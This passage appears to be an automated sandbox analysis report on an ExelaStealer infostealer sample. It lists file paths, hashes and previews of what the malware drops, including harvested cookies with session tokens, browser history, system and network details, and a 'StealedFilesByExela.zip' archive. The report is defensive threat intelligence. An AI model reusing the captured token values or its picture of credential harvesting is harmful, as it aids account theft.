	i.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	allpdfpro.msi	Get hash	malicious	Unknown	Browse	143.204.98.59
	FW_ Carr & Jeanne Biggerstaff has sent you an ecard.msg	Get hash	malicious	Unknown	Browse	52.59.81.109
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	34.243.160.129
	over.ps1	Get hash	malicious	Vidar	Browse	18.238.49.52
	http://knoxoms.com	Get hash	malicious	Unknown	Browse	34.210.182.11
	boatnet.arm6.elf	Get hash	malicious	Mirai	Browse	54.171.230.55

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI13962\VCRUNTIME140.dll	PDF_Resave.exe	Get hash	malicious	Unknown	Browse
	phost.exe	Get hash	malicious	Blank Grabber	Browse
	shost.exe	Get hash	malicious	Python Stealer, Muck Stealer	Browse
	sppawx.exe	Get hash	malicious	Blank Grabber	Browse
	qhos.exe	Get hash	malicious	Python Stealer, Muck Stealer	Browse
	wsapx.exe	Get hash	malicious	Blank Grabber	Browse
	lz4wnSavmK.exe	Get hash	malicious	Python Stealer	Browse
	WVuXCNNYG0.exe	Get hash	malicious	Python Stealer	Browse
	dipwo1iToJ.exe	Get hash	malicious	Python Stealer	Browse
	Counseling_Services_Overview.docm	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307320057862836
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrR:KooCEYhgYEL0In
MD5:	C7CEBD9F9C39C2D63926BF6F7843C489
SHA1:	ECFCE213C1B264B1BC585DFD69B976C7A1583CC2
SHA-256:	29B221D62F788128CF2ACEEDBD1A42480622324B599669A61A04BF54212F0552
SHA-512:	702BA4EAB1962B8A0338EE6F133551A671428BEABF82EE65BB8EB47B74231CC4224E7B877CC3F64BE92CF2E1E15A2C365120111AF403E76E5AE72378167DE09B
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0957a363, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4220577820941714
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	E8AE16DD0BF5EF7A966EA84CA35C00E9
SHA1:	7494B9278619852773265C881BDD71086B418311
SHA-256:	C427FB24477A1AD702B67D779CBCE78E2C560A591EF8071BE881FFF2A922A1B3
SHA-512:	D9D0B8C6E4671C7936AE4790C00AE4F86310FB2AEA579E13A62A501E05B288B2B00ABBBE54FE8F6FF2B1BEDB43AD23F016248C26B3918724476AD61010AD6E91
Malicious:	false
Preview:	.W.c... .......A.......X\...;...{......................0.!..........{A..5...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.......................................5...}...................Y~..5...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07492417746599407
Encrypted:	false
SSDEEP:	3:HvmXlKYeVHYaZajn13a/5eqa1lallcVO/lnlZMxZNQl:e1KzVHpa53q5ejAOewk
MD5:	7044A1DC53E9067555D3DBB9A7C0CD1B
SHA1:	D6D2DB0A7C2671BA2C824F9EC3F2CD9066F7E5B9
SHA-256:	2E9EE533CE9F4715AE3B585A9FEA7C80B5394DBE73C7218869C1EC1B191007FD
SHA-512:	4A3C6C165776A1764B9CE3AF3B53BCA88AC6C9E9DA06A80EEDD705E4CE2BE0C8013F22F6E766B8227F03BB5716CD3F24E315D7EDB8459F6F92B06F1ECF4892A7
Malicious:	false
Preview:	.........................................;...{...5...}.......{A..............{A......{A..........{A].................Y~..5...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11803970
Entropy (8bit):	7.996640205330543
Encrypted:	true
SSDEEP:	196608:AUC1IYDEmmtSBLjv+bhqNVobZ1Uh8mAIv9P5jQ1KJEaKOlx:TC+OEZtSZL+9qzGZeII3MCCOlx
MD5:	8B8040D5875E4C41ED5091F92021A16B
SHA1:	4EBB7B91E64A7193B61A0E1405847ED13563F7D5
SHA-256:	7E7597691235F0FF8A8DF29EE3E54EA7A69B43B4EF727ADF511E7AEC749DC68A
SHA-512:	4703F8AD9543F2AA47A1C964E13C7BAD48A593284D53BAAC3581D6B584E63CAD5C88AFE6ACA2C8F2C708369E757B2CD150B95247C01BFD8B58D6915FED524A7A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Xhc.Xhc.Xhc...`._hc...f..hc...g.Rhc...[hc..`.Qhc..g.Ihc..f.phc...b.Shc.Xhb..hc.K.g.Ahc.K.a.Yhc.RichXhc.........PE..d.....f.........."....(.....l.................@....................................G2....`.................................................l...x.......,....`..."..............h.......................................@...............P............................text............................... ..`.rdata..B&.......(..................@..@.data....s..........................@....pdata..."...`...$..................@..@.rsrc...,...........................@..@.reloc..h...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0.zip

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	707602
Entropy (8bit):	7.99764650582294
Encrypted:	true
SSDEEP:	12288:gJWrGSn7dWcSbn2gknkvx7XStuv+BETpx76W0VRZPGrM+4J1shI1+4uzFNxdDoQV:dSSJnYn+kvxj6uLTpx76W06Mvh4HftoA
MD5:	9BBFF0760B442F12594437173F36EE9F
SHA1:	F45BD39C8DB3F3A4433A1620860781860A5E161A
SHA-256:	855153C6E19409BECEF9A7CB2B80E60400D373AAE9ABA4A440A78020FE6A6B64
SHA-512:	7C57D7BF5E1EE5052B8B120B46AD4FAF2F4FA468407AC749447C618E450A65209925D823170F9B44801E9534083AF3B04CE1D75EF5F16943B9825A125B2E26CD
Malicious:	false
Preview:	PK...........Y................Browsers/PK...........Y................Wallets/PK...........Y..(.5...x.......Display (1).pngT.y<T...}f.l.FEe7".M...!F.A..K%d7.)d.{d..e.d...X..B.}..,...w.......9.1.u]...z.'..X....n.....:.......p.`...Tm...n........?u_.H...bx.w./.z..t..._..@-.y.......y......8.3.f....1..?5.i...K[.Y.....=....:\|t..ci.N. H+A..+...U<KT....$.r}"....w!.#...{.......(...-..[F...o....t...b.....W......dH........a...O... ...>3>B...=..?.I.\|uE..2m6?O.;#...b..".$Z4......1p#5.K...U..DX.]..5G...M....^..\|r...nuF..e.....l..3?..'W..9..O.9nN..Ob.;~z...z.}..~........M..q%\|..K...xg.#..........e.......+."......W....H.w._y..oD.@....,.$).........{ay......N....zoAj...V..}.._.V..~.p.Q......%e+.-..^.+YWO\|.jp....b=...=o....[w.....v..I.l.%..I.\|..O.._.W..J.K......cbU..#.2...].,.....U..l..)....'....E.?}..b..f.w8%.~lPm.z..H...g.........O.L#...'..~.4uN.w'm....[^..T_d..."...\...].......Rm..........X.....Cw..E...x.;........6.Z......_...(..n.......J..SU...<..=.(4.(

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Cookies.txt

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (522), with CRLF line terminators
Category:	dropped
Size (bytes):	3488
Entropy (8bit):	5.880132531509811
Encrypted:	false
SSDEEP:	96:LMJMpoO2gFcRqFZL2L+yLstv3pPDYReynqsbCw4R2cksr:eFFRiNEUd7
MD5:	A77A3F14636E05B646BDD2E385CFCDC3
SHA1:	11C80A73FB067FFB85C9BD80E66EF1179D1EBFB8
SHA-256:	E0BD0C615EFC6E89164589897A280C9CB72FEF9084466AB63E77B0BA9939D6C0
SHA-512:	46E3C8284596248FA43F9C767CE36F876B4B63B64D6CD2A93904CB3866E856D2043CFCC03537E4C9169DB59FD2F868FAB0989706DE4AFD48EEEC15EB43346656
Malicious:	true
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================...google.com.TRUE./.FALSE.13356618603686193.NID.511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk..support.microsoft.com.TRUE./.TRUE.13340887435186329..AspNetCore.AuthProvider.True..support.microsoft.com.TRUE./signin-oidc.TRUE.13340887735359381..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.N..support.microsoft.com.TRUE./signin-oidc.TRUE.13340887735359334..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkHB6alahUr8qJ7G_3AejtooymTWCzyO89hshJeX8Gh78kohbIw0IQY4v6LZriT4P2fGeBSMjrvqODB4H_bs2nbfsSfL7aN-SiX4Yyn3iFo5fv-Rsj0cGE-FFrP1uXNT7Y1VSMOfm-L0RnS8.N..support.office.com.TRUE./.TRUE.133

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	4.137394051573412
Encrypted:	false
SSDEEP:	24:L5xsMvXvxsajXJl1QXbsBQXY6CQExXBYGQFEDK4:LzlVVgmHgWdIoV
MD5:	FC2BE027B954580D7C389EE60BF7A809
SHA1:	9D2BEB95F433468ED667AA1ED8DD80C21D44FD4B
SHA-256:	E291A44D3CEDA01F2D8FB5CA4828E33BF0ABA921E544168FDEFE7D77D0B99ADB
SHA-512:	8C804E8F6C69C5F45CBF3FA8A01DBB17BA1DC5C5C4E14569621076D842756233DD2C2C6161F0997C77735A6C6C21C5DD9B1658549791008187D3BC22B8744F89
Malicious:	true
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================..ID: 1..RL: https://support.mozilla.org/products/firefox..Title: None..Visit Count: 0..Last Visit Time: None..====================================================================================..ID: 2..RL: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-browser&utm_medium=default-bookmarks&utm_campaign=customize..Title: None..Visit Count: 0..Last Visit Time: None..====================================================================================..ID: 3..RL: https://www.mozilla.org/contribute/..Title: None..Visit Count: 0..Last Visit Time: None..====================================================================================..ID: 4..RL: https://www.mozilla.org/about/..Title: None..Visit Count: 0..Last Visit Time: None..=========================================================================

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Historys.txt

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2728
Entropy (8bit):	4.660039615120458
Encrypted:	false
SSDEEP:	48:LFzmxDwemx5VcDKJMmx2VuDKJMmxhzxANLpzxAjVVpbjxA0ScpbjxAb:LFzmlwem/aDKMmAEDKMmfz0cdj7njU
MD5:	20A3A44BDA7E4F584DE08D454799AE3B
SHA1:	A9303AC5FA3167501761237DA4BF1872813A2D5F
SHA-256:	B8D46AE104194B6FD27A55B0831CD2D14A2C656147A8A9AD3AC53656174439C0
SHA-512:	2DE9ECF25CFE88E6CD07508E2936EFDAC1E0CC9E585B5B4194733CC1C61A30F9655C9519C44607C2CD7B4513BD8D1AE9644E066593254606862984E12EC7CD36
Malicious:	false
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================..ID : 1..URL : https://go.microsoft.com/fwlink/?linkid=851546..itle : Examples of Office product keys - Microsoft Support..Visit Count : 2..Last Visit Time 13340808471256388..====================================================================================..ID : 2..URL : https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016..itle : Examples of Office product keys - Microsoft Support..Visit Count : 2..Last Visit Time 13340808471256388..====================================================================================..ID : 3..URL : https://support.microsoft.com/en-us/office/7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us..itle : Examples of Office product keys - Microsoft Support..Visit Count : 2..Last Visit Time 13340808471256388..=======================================

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	705400
Entropy (8bit):	7.926399061168775
Encrypted:	false
SSDEEP:	12288:uwaVun7OYV91jw2MtmRL6yzhEYEfOt0lZ6NNvgJaN87VlhYTqlxY8CLK:uwdn7Pf1sfsL6yz5OOt0T6N785R5l
MD5:	2417AAD59CF8A5060AF2F0477AD2D7C5
SHA1:	A99369C33B0844BBBF0A5BFB7F27D398D30B91AB
SHA-256:	75C13C99E3EB621E857E5971B011A62D00CCA7DE44F92F291520F46D378CF55D
SHA-512:	EFB630E5976E5E8667FE9A0619A1A725A745291193936288E4CB944EA04A9A762A368CD7EF9573A62BD9B7EB469A74E8AD0B26CB2C8AD1E2DAB4DB44BC9C6F9B
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....e....Y...../&.Z./..y..L.....nZ....p%@.y...@x...... ..9...{o........o..?...u]....."~..^{.}.Y.*...9.....R.^..f.h.m..^.K...u....S....i.l?w8.N..E...v_.d&..8A...S...e.+6.........c_.i.....O.TZ....c.3=i.m..`..>...Q.>...c..u...1v..i...i.>.i1..Gg....)./=<.c../>4mZ_x.a......?8.....dl.a......9..?w...g...}...}V..j .>35..eO...>...O.zc<`...7....E...z3..v_.}..=..;f.#.d.............g....+........q...wN.;..w.s.~..^v{j.v[...;.ewLb\|..3c..[b.......+.oy.1{.w.5.v5v.%-.............v..1.W.......3...tK.[...i...N7...../..=...;.c.v.9.....h.......Mil..S{..Rk..s.....YLcA>...oI.,g...Y........<.x..io}]n}l.G[B..msC....[.x\|k...L{.k...nI...}..si.lc.}..6.7.&..[..luMfl.S{.....m.Z.6.2......._KK....Y....5..X.y[....._.a..u...7.yC..M..oz...=.0...2...&...v..W..............^...9.0.....A{..v.&.fc.[j..x.F....i\|C....)O.g..[..}.....[.\..._..Z.].c.....s....oc....b...5

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\network_info.txt

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.281502386532761
Encrypted:	false
SSDEEP:	3:111T8/s5hO7y9MHUXMERwLM7N3U2bX5A3EwAyEY5HLWLASPVXqI:Lv5hOP0X3RwwN3UuJA01K5CLpqI
MD5:	23FB26C06CE6C057071E5346E4BF5BE2
SHA1:	37E496FFFE731FC7AD155EE169642AF0DF7BA0C7
SHA-256:	C7CDD16409A9F45463E6954219417EC5C7BC4EE66A0BCACC754D8D5C221F1E55
SHA-512:	40E58FD7AEC9FBA2399F98374CB238B294FFF15417DBEA05DA1659158E4025795FFFE23E41BACD2A97C8F9E9FC212BF073A3C6C2BC4DB69B8BE168DDB996018B
Malicious:	true
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================..8.46.123.189..United States..New York..America/New_York..Level 3 CenturyLink Communications, LLC AS3356 Level 3 Parent, LLC

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\process_info.txt

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	25132
Entropy (8bit):	4.741289899263353
Encrypted:	false
SSDEEP:	384:DUpzYO0HoYvsfSZ/jKlgqABH6FEo/QjNW3mBBU0NjbpMtBpxtiWz5qTUJehouX3K:vGuaxCH1Y
MD5:	75E2CDFAF8449F81C9ADB2E052A92795
SHA1:	2E0F4C7F515FE84B2F65FDF7A7959EDCA75A6B55
SHA-256:	1EF4DC407B28C1682245797984446E522A5A5C6503ED67165F863B08952682CB
SHA-512:	19F6BA37F17625A61110884FFB14A076F0D82EE7A0FCAB75A189C1020013F484F0373714679AF3CD5E3673781463BBD5566A631E07D3B1A1FB5FEF17B6BA1936
Malicious:	true
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================.....Image Name: System Idle Process...PID: 0...Session Name: Services...Session#: 0...Mem Usage: 8 K......Image Name: System...PID: 4...Session Name: Services...Session#: 0...Mem Usage: 176 K......Image Name: Registry...PID: 92...Session Name: Services...Session#: 0...Mem Usage: 79'452 K......Image Name: smss.exe...PID: 324...Session Name: Services...Session#: 0...Mem Usage: 1'236 K......Image Name: csrss.exe...PID: 408...Session Name: Services...Session#: 0...Mem Usage: 5'300 K......Image Name: wininit.exe...PID: 484...Session Name: Services...Session#: 0...Mem Usage: 7'256 K......Image Name: csrss.exe...PID: 492...Session Name: Console...Session#: 1...Mem Usage: 5'996 K......Image Name: winlogon.exe...PID: 552

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\system_info.txt

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	Algol 68 source, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	142864
Entropy (8bit):	4.373018293360665
Encrypted:	false
SSDEEP:	1536:4oc5+DlX7z8oiEmea91gbTvU2LaWJVQgDFIaLVk2vcE66drKwIRBFKdQT8RSayLM:4oJwx0
MD5:	E6703F689A8802CB0607BF7A12E7E595
SHA1:	9FB5AB2E92F7BDF5A2833178D06C5C2229D0E070
SHA-256:	47A10599F80E3F23708B9457A577262307889C86EEBB2386290060B9A860A40A
SHA-512:	6699322DE4CFE3EB5B58762BF490E5D6F817E896C9F38A34AEA91C9EB7FB48F14401F5A858653FA175099A57E58322B7938B3952802AEA875312F3201AB9C641
Malicious:	true
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================..####System Info#### ......Host Name: user-PC...OS Name: Microsoft Windows 10 Pro...OS Version: 10.0.19045 N/A Build 19045...OS Manufacturer: Microsoft Corporation...OS Configuration: Standalone Workstation...OS Build Type: Multiprocessor Free...Registered Owner: hardz...Registered Organization: ...Product ID: 00330-71388-77104-AAOEM...Original Install Date: 03/10/2023, 09:57:18...System Boot Time: 24/09/2023, 13:00:03...System Manufacturer: Utu2VL2XAMrn6tk...System Model: G8bcud5P...System Type: x64-based PC...Processor(s): 2 Processor(s) Installed.... [01]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz... [02]: Inte

C:\Users\user\AppData\Local\Temp\AutofillData.db

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cookies.db

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DownloadData.db

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HistoryData.db

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Logins.db

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RES71B8.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4be, 9 symbols, created Wed Jan 1 03:37:43 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	4.092570766206948
Encrypted:	false
SSDEEP:	24:HCDW9cZfqOfDfHffwK0fINwI+ycuZhNyGakSjXPNnqSGd:MBH/oKwIm1ulla35qS2
MD5:	8121F843C240AD969B454085B830C135
SHA1:	B84BFF0D0EAB6E1D8B47695A89AE524D1A907CDB
SHA-256:	F4E9F034E16098915746FDA842BEB4DBBB94504CDFF0EE2F0B1BD72ACEBC93B7
SHA-512:	55C775D94BF341BC71ECCE68720BF4D75E332A5DF90E9C02DDEC4D19A0CADDD84B014D2A352D2BE75540B8D707163C4643CB1D6EEEFEA47E8CB077F9963A3147
Malicious:	false
Preview:	L.....tg.............debug$S............................@..B.rsrc$01........X.......d...........@..@.rsrc$02........P...n...............@..@........S....c:\Users\user\AppData\Local\Temp\iqddoona\CSCE5D39DCC87804C2589D261464B53262.TMP...................oC..O...c..}...........4.......C:\Users\user\AppData\Local\Temp\RES71B8.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...i.q.d.d.o.o.n.a...d.l.l.....(.....

C:\Users\user\AppData\Local\Temp\StealedFilesByExela.zip

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	79088
Entropy (8bit):	7.82611639742698
Encrypted:	false
SSDEEP:	1536:tG5/p/kbmg0DxtBGxBcD8e+Bs8Ntp6GU8l/z175k/QtlbYlvr9MGFcEtjtQliQ+a:A5/Jkbmg0DxqxOD8e+Bs8NhUA/z175k4
MD5:	8B06591158608C0DADE3C3D932750EB8
SHA1:	146B8658371A13902ABD2E5BD1681A832A8E4601
SHA-256:	2336771B9E2A38030278672D0B9ED98AF96B2B3F29A991E98F688B8025FBE0A2
SHA-512:	4EF05F98AFC6E608278D4A0321DC4F67807076CA9DA208CDE1168E33C56F3F57CAA9EE1F1794312D7DD83B3052B99B3290D1593F8E802A6D38374D20AC2A6495
Malicious:	false
